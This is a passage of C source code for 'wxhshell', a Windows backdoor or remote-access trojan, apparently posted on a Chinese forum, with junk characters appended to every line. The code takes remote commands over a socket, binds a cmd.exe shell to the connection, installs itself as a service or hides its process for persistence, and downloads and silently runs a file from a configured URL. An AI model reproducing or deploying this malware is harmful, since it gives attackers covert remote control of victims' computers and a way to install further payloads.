  } P2s^=J0@  
  else { }P7xdQ6  
+*]SP@|IYI  
    switch(cmd[0]) { R?i-"JhW  
  h%4 ~0  
  // 帮助 ^2(";.m  
  case '?': { Yk x&6M@t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D}3cW2!9  
    break; wpJ^}+kF  
  } 9LUP{(uq  
  // 安装 +G>aj '\M|  
  case 'i': { v #zfs'  
    if(Install()) p=je"{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?d,acm  
    else m  mw)C"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t(Cq(.u`:  
    break; \v B9fA:*  
    } \["1N-q b  
  // 卸载 fte!Ll'  
  case 'r': { o%QhV6(F  
    if(Uninstall()) ~6pCOS}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ij^FAM  
    else h=mI{w*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J:k@U42  
    break; V_ avaE  
    } \:18Uoe7  
  // 显示 wxhshell 所在路径 "y3dwSS  
  case 'p': { P<g|y4h  
    char svExeFile[MAX_PATH]; _~(M A-l  
    strcpy(svExeFile,"\n\r"); 7zi^{]  
      strcat(svExeFile,ExeFile); !'c6Hs  
        send(wsh,svExeFile,strlen(svExeFile),0); oc,U4+T  
    break; $/-wgyP3m+  
    } %u<&^8EL+#  
  // 重启 Sv CK;$:  
  case 'b': { w2RESpi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9 ^=t@  
    if(Boot(REBOOT)) gGceK^#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1yY'hb,0  
    else { jtlDSf#  
    closesocket(wsh); fNmG`Ke  
    ExitThread(0); %K/G+  
    } bE%mgaOh  
    break; X.W#=$;$:  
    } 0n=9TmE  
  // 关机 8#d99dOe  
  case 'd': { l)2HHu<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kKI!B`j=  
    if(Boot(SHUTDOWN)) 6='_+{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tle K (^  
    else { N:sECGS,  
    closesocket(wsh);  G$cq   
    ExitThread(0); 6H. L!tUI  
    } Jh/M}%@|  
    break; D q_{O  
    } b smoLT  
  // 获取shell [ a65VR~J  
  case 's': { RF\1.HJG  
    CmdShell(wsh); oVxV,oH(  
    closesocket(wsh); tkUW)ScJ  
    ExitThread(0); y}H*p  
    break; ? geWR_Z  
  } {?kKpMNNn  
  // 退出 :@z5& h  
  case 'x': { *X =f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x X=IMM3  
    CloseIt(wsh); U+3PqWB  
    break; xN":2qy#T  
    } 'AlSq:gZ  
  // 离开 .w*{=x0k  
  case 'q': { oW\7q{l2)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;zxlwdfcr'  
    closesocket(wsh); E.Gh@i  
    WSACleanup(); eG2qOq$[  
    exit(1); 5IB:4zx^h  
    break; , T%pGku  
        } `Mh<S+/  
  } Wcay'#K,  
  } $dWl A<u  
0e5-\a  
  // 提示信息 >t6'8g"T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7;#dX~>@{  
} OYRR'X.E  
  } vN6]6nUOiT  
~Hs]}Xo  
  return; w[$Wpae  
} ]mGsNQ ].H  
@|*Z0bn'  
// shell模块句柄 e7j]BzGvl  
int CmdShell(SOCKET sock) 7>e~i,  
{ Y=wP3q  
STARTUPINFO si; @_weMz8}  
ZeroMemory(&si,sizeof(si)); yK2*~T,6@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7{/:,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rF j)5~  
PROCESS_INFORMATION ProcessInfo; '<E8< bi  
char cmdline[]="cmd"; 4 d1Y\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F|ML$  
  return 0; S:GUR6g8D  
} do?n /<@o  
R?e7#HsJ  
// 自身启动模式 cB"F1~z  
int StartFromService(void) o3[sF  
{ cX]{RVZo-/  
typedef struct Q)|LiCR,  
{ GLcZ=6)"'  
  DWORD ExitStatus; '9F{.]  
  DWORD PebBaseAddress; z E7ocul  
  DWORD AffinityMask; e hB1`%@  
  DWORD BasePriority; .$x[!fuuR&  
  ULONG UniqueProcessId; <OO/Tn'a  
  ULONG InheritedFromUniqueProcessId; |&pz,"(  
}   PROCESS_BASIC_INFORMATION; QbKYB  
aw@Aoq  
PROCNTQSIP NtQueryInformationProcess; zSM7x  
&CP@] pi9L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .g`*cDW^=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8`*9jr  
%D6Wlf+^n  
  HANDLE             hProcess; ~q%9zO'  
  PROCESS_BASIC_INFORMATION pbi; #RIfR7`T  
<{).x 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z*Hxrw\!0  
  if(NULL == hInst ) return 0; E@}j}/%'O  
l8d%hQVqT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7G=P|T\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Da[X HUk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L$kAe1 V^m  
6V?&hq&t  
  if (!NtQueryInformationProcess) return 0; |JQP7z6j]  
hADb]O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w`!foPE  
  if(!hProcess) return 0; w 4gZ:fR=  
5J#g JFA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JfINAaboi  
4J$f @6  
  CloseHandle(hProcess); >-o:> 5  
cz~FWk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !?M_%fNE  
if(hProcess==NULL) return 0; *R6eykp  
X@4d~6k?  
HMODULE hMod; F`}w0=-*(  
char procName[255]; uU !i`8  
unsigned long cbNeeded; ={0{X9t?'j  
c] 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iiDkk  
E4@fP] R+  
  CloseHandle(hProcess); `hf9rjy4  
\ ozy_s[  
if(strstr(procName,"services")) return 1; // 以服务启动 jmzvp6N$8  
m@2xC,@  
  return 0; // 注册表启动 Bw7:ry  
} %((3'le  
K}(n;6\  
// 主模块 d_qVk4h\  
int StartWxhshell(LPSTR lpCmdLine) ;xH'%W9z  
{ c,%>7U(w_  
  SOCKET wsl; !! #ale&  
BOOL val=TRUE; q5?mP6   
  int port=0; rBPxGBd4  
  struct sockaddr_in door; _qo1 GM&  
nt`l6b  
  if(wscfg.ws_autoins) Install(); RSeezP6#  
H 6<@  
port=atoi(lpCmdLine); 5j 01Mx A  
|MrH@v7S  
if(port<=0) port=wscfg.ws_port; Ntrn("!  
kx(:Z8DX  
  WSADATA data; Sf:lN4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +!Ag n)  
?6]ZQ\,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |OT%,QT|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;mxT >|z  
  door.sin_family = AF_INET; `IQC\DSl/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vta;ibdeqW  
  door.sin_port = htons(port); qr;" K?NX  
({b/J0 <@D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rz7b%WY  
closesocket(wsl); 1T?%i  
return 1; Wfw9cxGkf  
} }X:r:{r  
/VZU3p<~  
  if(listen(wsl,2) == INVALID_SOCKET) { g<c^\WG  
closesocket(wsl); 2 g==98>cg  
return 1; 3yX^R^`  
} <Y6>L};  
  Wxhshell(wsl); \Rt  
  WSACleanup(); V$D d 7  
PelV67?M  
return 0; #(4hX6?5AI  
MT gEq  
} }`]^LFU5  
$&C%C\(>D  
// 以NT服务方式启动 @V u[Tg}J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JPzPL\  
{ 9:~^KQ{?  
DWORD   status = 0; j zp%.4/j  
  DWORD   specificError = 0xfffffff; hlEvL  
5Ozj&Zq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 86VuPV-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B ~GyS"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o#b9M4O  
  serviceStatus.dwWin32ExitCode     = 0; y +vcBuX  
  serviceStatus.dwServiceSpecificExitCode = 0; j* ?MFvwE  
  serviceStatus.dwCheckPoint       = 0; [_Z3v,vt,  
  serviceStatus.dwWaitHint       = 0; <[~M|OL9q,  
IrM3Uh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kS!*kk*a  
  if (hServiceStatusHandle==0) return; % m$Mn x  
PrxXL/6  
status = GetLastError(); 0CYI,V  
  if (status!=NO_ERROR) $OuA<-  
{ pDfF'jt9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4TV9t"Dk+c  
    serviceStatus.dwCheckPoint       = 0; =T6\kz9)`  
    serviceStatus.dwWaitHint       = 0; "0mR*{nF  
    serviceStatus.dwWin32ExitCode     = status; c+VUk*c3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8t; nU;E*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9r}} m0  
    return; b5C #xxIO  
  } ibL;99#  
T]k@g_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r|8..Ll  
  serviceStatus.dwCheckPoint       = 0; lPP7w`[PA  
  serviceStatus.dwWaitHint       = 0; Ok\UIi~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wEyh;ID3#  
} ::w%rv  
kY&j~R[C  
// 处理NT服务事件,比如:启动、停止 :l{-UkbB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W=+ag<@  
{ SM?<woY=*  
switch(fdwControl) d7Z\  
{ u]-$]zIH  
case SERVICE_CONTROL_STOP: \!Pm^FD .  
  serviceStatus.dwWin32ExitCode = 0; yR-.OF,c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I(|{/{P,  
  serviceStatus.dwCheckPoint   = 0; (>'d`^kjk  
  serviceStatus.dwWaitHint     = 0; 6zSN?0c  
  { dXQWT@$y!E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7EUaf;d^  
  } |H49 FL  
  return; $TiAJ}:  
case SERVICE_CONTROL_PAUSE: ,P]{*uqGiB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u)ItML  
  break; 57rP@,vj  
case SERVICE_CONTROL_CONTINUE: *{Vyt5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A,@"(3  
  break; /);6 j,x  
case SERVICE_CONTROL_INTERROGATE: $@X,J2&  
  break; eyOAG4QTV  
}; f}A^rWO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Px`yD3  
} GfV9Ox   
LE"xZxe  
// 标准应用程序主函数 -lHJ\=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |RdSrVB  
{ 2*N# %ZUX  
'=xl}v  
// 获取操作系统版本 w1Kyd?~%]  
OsIsNt=GetOsVer(); Z]dc%>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pVM;xxJ  
[iz  
  // 从命令行安装 TzjZGs W[V  
  if(strpbrk(lpCmdLine,"iI")) Install(); i "xq SLf=  
wlJ_, wA  
  // 下载执行文件 l }[ 4  
if(wscfg.ws_downexe) { *niQ*A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Iq9+  
  WinExec(wscfg.ws_filenam,SW_HIDE); j"]%6RwM]  
} riz({  
$J+$ 8pA  
if(!OsIsNt) { BC^WPr  
// 如果时win9x,隐藏进程并且设置为注册表启动 5 m:nh<)#  
HideProc(); `|4{|X*U.  
StartWxhshell(lpCmdLine); Nz8iU@!a  
} E[y?\{  
else M&L"yQA  
  if(StartFromService()) 94+#6jd e  
  // 以服务方式启动 '5IJ;4k  
  StartServiceCtrlDispatcher(DispatchTable); 3N-(`[m{E  
else p[RD[&#b  
  // 普通方式启动 Nt)9- \T  
  StartWxhshell(lpCmdLine); @<P [z[  
Adh CC13B  
return 0; m&2m' =(  
}
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只看该作者 1 发表于: 2006-10-10
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